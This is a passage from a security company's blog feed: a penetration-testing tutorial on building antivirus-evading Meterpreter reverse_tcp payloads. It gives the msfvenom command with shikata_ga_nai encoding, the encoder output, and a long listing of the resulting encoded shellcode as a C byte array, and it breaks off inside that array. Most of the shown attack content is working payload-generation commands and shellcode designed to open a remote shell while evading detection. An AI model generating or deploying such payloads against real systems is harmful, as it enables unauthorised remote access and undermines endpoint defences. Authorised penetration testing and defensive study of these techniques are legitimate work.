<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Network Archives - Virtue Security</title>
	<atom:link href="https://www.virtuesecurity.com/category/network/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.virtuesecurity.com/category/network/</link>
	<description></description>
	<lastBuildDate>Wed, 26 Mar 2025 09:17:34 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://www.virtuesecurity.com/wp-content/uploads/2024/12/4.4-Favicon-3D-1-300x300.png</url>
	<title>Network Archives - Virtue Security</title>
	<link>https://www.virtuesecurity.com/category/network/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Evading Antivirus with Better Meterpreter Payloads</title>
		<link>https://www.virtuesecurity.com/evading-antivirus-with-better-meterpreter-payloads/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Thu, 06 Feb 2020 23:13:16 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=353</guid>

					<description><![CDATA[<p>Ever have meterpreter shells consistently fail? Anti-virus products may be causing your penetration tests to fall flat. By using unique encoded meterpreter shells you can avoid AV and elevate your penetration tests.</p>
<p>The post <a href="https://www.virtuesecurity.com/evading-antivirus-with-better-meterpreter-payloads/">Evading Antivirus with Better Meterpreter Payloads</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Evading antivirus is often an under appreciated art that can make or break a penetration test. Modern antivirus products can detect meterpreter payloads easily, and can leave a pentester falsely believing a system is not exploitable.</p>



<p>To increase our overall success rate of exploitation we will create a custom meterpreter reverse_tcp payload.</p>



<p>To do this we will first need a few things:</p>



<ol class="wp-block-list">
<li>Visual Studio 2019 Community (Free): <a href="https://visualstudio.microsoft.com/downloads/">https://visualstudio.microsoft.com/downloads/</a></li>



<li>Metasploit Framework: <a href="https://github.com/rapid7/metasploit-framework">https://github.com/rapid7/metasploit-framework</a></li>
</ol>



<h2 class="wp-block-heading">TLDR</h2>



<p>We will create shellcode with msfvenom, encode it, paste it to a custom template, and deliver the compiled binary as a custom payload with metasploit.</p>



<h2 class="wp-block-heading">Windows Shellcode: x86 or x64?</h2>



<p>Several years ago it was very common for x64 binaries to fly by Windows Defender, however AV products have greatly improved recently and begun to detect x64 meterpreter payloads we tested. Very few encoders support x64 shellcode which further reduces our ability to create stealthy payloads. In our testing we find that building x86 payloads with the shikata_ga_nai have stood the longest test of time and are still able to evade most AV engines.</p>



<h2 class="wp-block-heading">Meterpreter payloads: which one?</h2>



<p>You can view a list of payloads by running <code>msfvenom -l payloads</code>, we will use the reverse_tpc staged payload:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="windows/meterpreter/reverse_tcp                     Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">windows/meterpreter/reverse_tcp</span><span style="color: #D4D4D4">                     </span><span style="color: #CE9178">Inject</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">the</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">meterpreter</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">server</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">DLL</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">via</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">the</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Reflective</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Dll</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Injection</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">payload</span><span style="color: #D4D4D4"> (staged). Connect back to the attacker</span></span></code></pre></div>



<p>Note: our selected payload <code>windows/meterpreter/reverse_tcp</code> payload is considerably different than the <code>windows/meterpreter_reverse_tcp</code> payload. The second <code>/</code> indicates the payload is staged and will connect back to our handler to deliver the complete meterpreter payload.</p>



<h3 class="wp-block-heading">Shellcode Encoder</h3>



<p>You can view all available encoders by running <code>msfvenom -l encoders</code>. We see the most success using <code>x86/shikata_ga_nai</code> with a number of iterations.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4">            </span><span style="color: #CE9178">excellent</span><span style="color: #D4D4D4">  </span><span style="color: #CE9178">Polymorphic</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">XOR</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Additive</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Feedback</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Encoder</span></span></code></pre></div>



<h3 class="wp-block-heading">Creating the shellcode with Msfvenom</h3>



<p>Now we will use msfvenom to export the reverse_tcp payload as encoded shellcode. You will need to change the IP and port to that of your listener. You may also wish to change the number of iterations (<code>-i 8</code>), using up to 25 should be safe in most situations:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=9090 -e x86/shikata_ga_nai -i 8 -f c &gt; shell.c" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">$</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">msfvenom</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-p</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">windows/meterpreter/reverse_tcp</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">LHOST=</span><span style="color: #B5CEA8">10.0</span><span style="color: #CE9178">.0.5</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">LPORT=</span><span style="color: #B5CEA8">9090</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-e</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-i</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">8</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-f</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">c</span><span style="color: #D4D4D4"> &gt; </span><span style="color: #CE9178">shell.c</span></span></code></pre></div>



<p>In the output of this we&#8217;re interested in <code>Payload size:</code> line, in this example we have 557 bytes</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai chosen with final size 557
Payload size: 557 bytes
Final size of c file: 2366 bytes" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload</span></span>
<span class="line"><span style="color: #D4D4D4">[-] No arch selected, selecting arch: x86 from the payload</span></span>
<span class="line"><span style="color: #DCDCAA">Found</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">compatible</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">encoders</span></span>
<span class="line"><span style="color: #DCDCAA">Attempting</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">to</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">encode</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">payload</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">8</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">iterations</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">of</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">x86/shikata_ga_nai</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">368</span><span style="color: #D4D4D4"> (iteration=0)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">395</span><span style="color: #D4D4D4"> (iteration=1)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">422</span><span style="color: #D4D4D4"> (iteration=2)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">449</span><span style="color: #D4D4D4"> (iteration=3)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">476</span><span style="color: #D4D4D4"> (iteration=4)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">503</span><span style="color: #D4D4D4"> (iteration=5)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">530</span><span style="color: #D4D4D4"> (iteration=6)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">557</span><span style="color: #D4D4D4"> (iteration=7)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">chosen</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">final</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">557</span></span>
<span class="line"><span style="color: #DCDCAA">Payload</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size:</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">557</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">bytes</span></span>
<span class="line"><span style="color: #DCDCAA">Final</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">of</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">c</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">file:</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">2366</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">bytes</span></span></code></pre></div>



<p>In our <code>shell.c</code> output we have the following shellcode:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="unsigned char buf[] =
&quot;\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xbb\x3b\xe2\xb0\xc9\xb1&quot;
&quot;\x85\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\xd9\x17\x0d\xc1\xab&quot;
&quot;\x37\x0a\x09\x07\x1e\xa7\x89\x53\xfb\x61\x1b\x2a\x82\x40\xf1&quot;
&quot;\x59\xf8\x61\x01\x62\x94\x74\xe8\x99\x05\x5b\x51\xe8\x63\xe4&quot;
&quot;\x2a\x87\xcc\xea\xfb\x81\x45\x6b\x9a\xbd\x83\x08\x50\xde\x32&quot;
&quot;\x65\x18\x9c\x35\x5b\x77\x9a\x64\xea\x8f\xfa\x13\x1f\x28\xe1&quot;
&quot;\xb9\xfd\xe2\x22\xba\x07\xd5\xe0\x74\xea\xb8\x9c\x81\x28\x24&quot;
&quot;\x11\x81\x75\x4c\xca\x2b\x53\x3f\x7e\xa4\x88\xf8\xaa\x76\x43&quot;
&quot;\x4d\xec\x6d\xca\xf9\xd8\x3f\xf6\x11\xde\x11\xc3\x16\x02\xa5&quot;
&quot;\x04\x32\x29\x21\xc9\x4e\xdf\xa8\xcf\xdc\xd7\x81\x91\xce\x08&quot;
&quot;\x3b\xf8\x72\xc1\xca\x3c\x89\xee\xcd\x89\xab\xa2\xcf\x82\x5d&quot;
&quot;\xdf\x24\xc9\xdb\x19\x83\xa6\x73\xff\xa9\xe4\xce\x23\x0e\xf2&quot;
&quot;\x5a\x1b\x49\x6f\x5c\x32\xa1\x17\xc6\x6a\x83\xfb\xb1\x61\x3c&quot;
&quot;\x63\x1f\x31\xa8\x1e\x53\x68\x3a\xe0\xe5\x17\xb6\x02\x37\x3e&quot;
&quot;\xa2\xbb\xb0\xe1\xb8\x54\x73\xf2\x17\xc6\xad\xe2\x0d\xb0\x84&quot;
&quot;\x56\x54\x82\x23\x79\x1f\x4e\xee\x94\x8f\x3a\xe1\x10\x06\x45&quot;
&quot;\xf9\xb9\x8a\x65\xfd\x02\xc9\x07\xce\xb4\x61\x92\x74\xdf\x14&quot;
&quot;\x47\x19\x51\xe4\x9d\xd8\xa8\x13\xbf\x50\x5b\xf9\x1e\x2d\x48&quot;
&quot;\x8e\x2f\x12\x43\x44\x1f\x9a\xe1\x53\xff\x0b\x33\xd8\x66\xbc&quot;
&quot;\xf2\xfc\xc9\x51\xbd\x2a\x19\xe9\xd5\xbc\x9e\x5f\x72\xcf\x8a&quot;
&quot;\x81\x42\x1c\xd8\x0e\x8c\xed\x75\xfe\x7a\x5d\x72\xff\x81\x09&quot;
&quot;\xa4\x1b\x91\x74\x31\x32\xc5\xd3\x7b\xd0\xd3\x58\x2a\x61\xc0&quot;
&quot;\xdd\x2a\xdc\xe5\x84\x8d\x75\x99\xf8\x66\xcc\x72\xdc\x55\x98&quot;
&quot;\x40\xcf\xc3\xcf\xdb\x02\x61\x0c\xd9\xa4\xf0\x20\xcf\xdb\x3f&quot;
&quot;\x1c\x54\x05\x4d\xe6\xf1\x3a\xd2\x5b\x0c\x4b\x52\x6e\x0c\xfe&quot;
&quot;\xee\x89\x4e\x4c\x17\x55\xc7\x42\x3e\xfd\x8a\xaf\xdf\xe5\x69&quot;
&quot;\xc9\x10\x48\xc6\xab\x85\x41\x23\x4a\xbe\xc4\x85\x27\x5e\x74&quot;
&quot;\xa8\xc3\x9b\x3f\x24\xcc\x4e\x0f\xe0\x54\x26\x0a\x95\x12\x97&quot;
&quot;\x61\x8d\xa8\x90\x95\x1d\x40\x29\x0c\x9a\xf8\xcf\x35\x2f\x64&quot;
&quot;\x27\xc4\x75\x2e\x13\x7a\x12\x7c\x46\x83\xd6\xcf\x18\x41\x1e&quot;
&quot;\x03\x74\xb6\xc7\x90\x7e\x22\x72\xfc\x59\x67\x84\xb5\xe6\x3e&quot;
&quot;\x47\xcd\xbb\xa2\xab\xa3\xb4\xfe\xc2\x6f\x38\x49\xf9\xec\x59&quot;
&quot;\x81\x15\x7b\x10\xc0\x3b\x05\xe1\x5c\xac\x08\x85\x2f\x3f\x90&quot;
&quot;\x29\x2e\xcd\xaa\x4e\x6f\x9f\x9c\xe9\x97\x96\x3f\xb0\xd4\xc1&quot;
&quot;\x64\x22\x20\xe5\xdc\x5a\x0f\x7f\x77\x37\xd1\x51\x77\xa4\x10&quot;
&quot;\xed\x58\xd0\xbb\x62\xa9\x8f\x30\x8e\xa1\x1d\x0d\x73\x3d\x3f&quot;
&quot;\xcb\xf4\xfe\x06\x81\xc6\xf2\x03\xc7\x22\xf0\xeb\x0e\x61\xe6&quot;
&quot;\x5c\xc5&quot;;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">unsigned</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">char</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">buf[]</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">=</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xbb\x3b\xe2\xb0\xc9\xb1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x85\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\xd9\x17\x0d\xc1\xab&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x37\x0a\x09\x07\x1e\xa7\x89\x53\xfb\x61\x1b\x2a\x82\x40\xf1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x59\xf8\x61\x01\x62\x94\x74\xe8\x99\x05\x5b\x51\xe8\x63\xe4&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x2a\x87\xcc\xea\xfb\x81\x45\x6b\x9a\xbd\x83\x08\x50\xde\x32&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x65\x18\x9c\x35\x5b\x77\x9a\x64\xea\x8f\xfa\x13\x1f\x28\xe1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xb9\xfd\xe2\x22\xba\x07\xd5\xe0\x74\xea\xb8\x9c\x81\x28\x24&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x11\x81\x75\x4c\xca\x2b\x53\x3f\x7e\xa4\x88\xf8\xaa\x76\x43&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x4d\xec\x6d\xca\xf9\xd8\x3f\xf6\x11\xde\x11\xc3\x16\x02\xa5&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x04\x32\x29\x21\xc9\x4e\xdf\xa8\xcf\xdc\xd7\x81\x91\xce\x08&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x3b\xf8\x72\xc1\xca\x3c\x89\xee\xcd\x89\xab\xa2\xcf\x82\x5d&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xdf\x24\xc9\xdb\x19\x83\xa6\x73\xff\xa9\xe4\xce\x23\x0e\xf2&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x5a\x1b\x49\x6f\x5c\x32\xa1\x17\xc6\x6a\x83\xfb\xb1\x61\x3c&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x63\x1f\x31\xa8\x1e\x53\x68\x3a\xe0\xe5\x17\xb6\x02\x37\x3e&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xa2\xbb\xb0\xe1\xb8\x54\x73\xf2\x17\xc6\xad\xe2\x0d\xb0\x84&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x56\x54\x82\x23\x79\x1f\x4e\xee\x94\x8f\x3a\xe1\x10\x06\x45&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xf9\xb9\x8a\x65\xfd\x02\xc9\x07\xce\xb4\x61\x92\x74\xdf\x14&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x47\x19\x51\xe4\x9d\xd8\xa8\x13\xbf\x50\x5b\xf9\x1e\x2d\x48&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x8e\x2f\x12\x43\x44\x1f\x9a\xe1\x53\xff\x0b\x33\xd8\x66\xbc&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xf2\xfc\xc9\x51\xbd\x2a\x19\xe9\xd5\xbc\x9e\x5f\x72\xcf\x8a&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x81\x42\x1c\xd8\x0e\x8c\xed\x75\xfe\x7a\x5d\x72\xff\x81\x09&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xa4\x1b\x91\x74\x31\x32\xc5\xd3\x7b\xd0\xd3\x58\x2a\x61\xc0&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xdd\x2a\xdc\xe5\x84\x8d\x75\x99\xf8\x66\xcc\x72\xdc\x55\x98&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x40\xcf\xc3\xcf\xdb\x02\x61\x0c\xd9\xa4\xf0\x20\xcf\xdb\x3f&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x1c\x54\x05\x4d\xe6\xf1\x3a\xd2\x5b\x0c\x4b\x52\x6e\x0c\xfe&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xee\x89\x4e\x4c\x17\x55\xc7\x42\x3e\xfd\x8a\xaf\xdf\xe5\x69&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xc9\x10\x48\xc6\xab\x85\x41\x23\x4a\xbe\xc4\x85\x27\x5e\x74&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xa8\xc3\x9b\x3f\x24\xcc\x4e\x0f\xe0\x54\x26\x0a\x95\x12\x97&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x61\x8d\xa8\x90\x95\x1d\x40\x29\x0c\x9a\xf8\xcf\x35\x2f\x64&quot;</span></span>
